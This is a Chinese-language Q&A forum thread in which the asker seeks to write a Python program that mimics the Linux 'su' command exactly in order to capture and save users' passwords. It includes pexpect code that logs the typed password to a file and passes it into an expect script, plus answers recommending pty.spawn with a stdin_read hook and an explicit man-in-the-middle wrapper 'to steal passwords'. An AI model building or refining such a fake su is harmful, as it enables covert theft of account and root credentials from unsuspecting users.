使用python 来模仿Linux中的“su”命令

新手上路,请多包涵

问题描述

如题,工具需要模仿的百分之百的像,为了获取用户的密码,并保存下来。
寻求大佬提供解决思路或相关指点,感谢。

问题出现的平台版本及自己尝试过哪些方法

  1. 已经尝试过pexpect库,并暂且使用其中的logfile属性来进行记录用户的输入。
    尝试交互的interact方法不适用,因为虽然可以完成如同su的交互,但是在logfile关闭后进行交互会报I/O operation on closed file的错,如果在logfile文件操作中进行interact则日志则会很混乱。
  2. 暂且通过调用shell中expect来完成交互
    设置过关闭Password:回显,但是最后会显示一行空行。

相关代码

#python su.py
import pexpect

...
def mock_su_need_pwd():
    pwd=getpass.getpass("Password:")
    
    p=pexpect.spawn("su")
    p.expect("Password:")
    p.logfile=open("tmp.txt","a")
    p.sendline(pwd)
    p.expect(["Password:","su: user opl does not exist","[\$%%#]","su: Authentication failure"])
    p.logfile.close()
    
    os.system("./test.sh "+pwd)
    
#test.sh

! /usr/bin/expect
log_user 0
spawn su
log_user 1
expect "Password:"
log_user 0
set pwd [lindex $argv 0]
log_user 1
send "$pwd\r"
interact

你期待的结果是什么?实际看到的错误信息又是什么?

实际运行结果:

#pwd is incorrect
[opl@xxx]$ python su.py
Password:
Password:
su:Authentication ..
# pwd is correct
[opl@xxx]$python su.py
Password:
Password:
[root@xxx]# 

期望运行结果:
su

需要应用的平台:基本所有的Linux版本可执行。

阅读 4k
2 个回答
✓ 已被采纳新手上路,请多包涵

最后采用了pty.spawn,配置stdin_read参数,具体可参考py3中的script那个例子,完成密码的读取.

要偷密码,模仿不如用真的,
可以试试用python的multiprocessing.Pipe,同时接管su的参数、输入和输出
除了开头几行记录密码的处理,后面都原样搬运
man in the middle

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题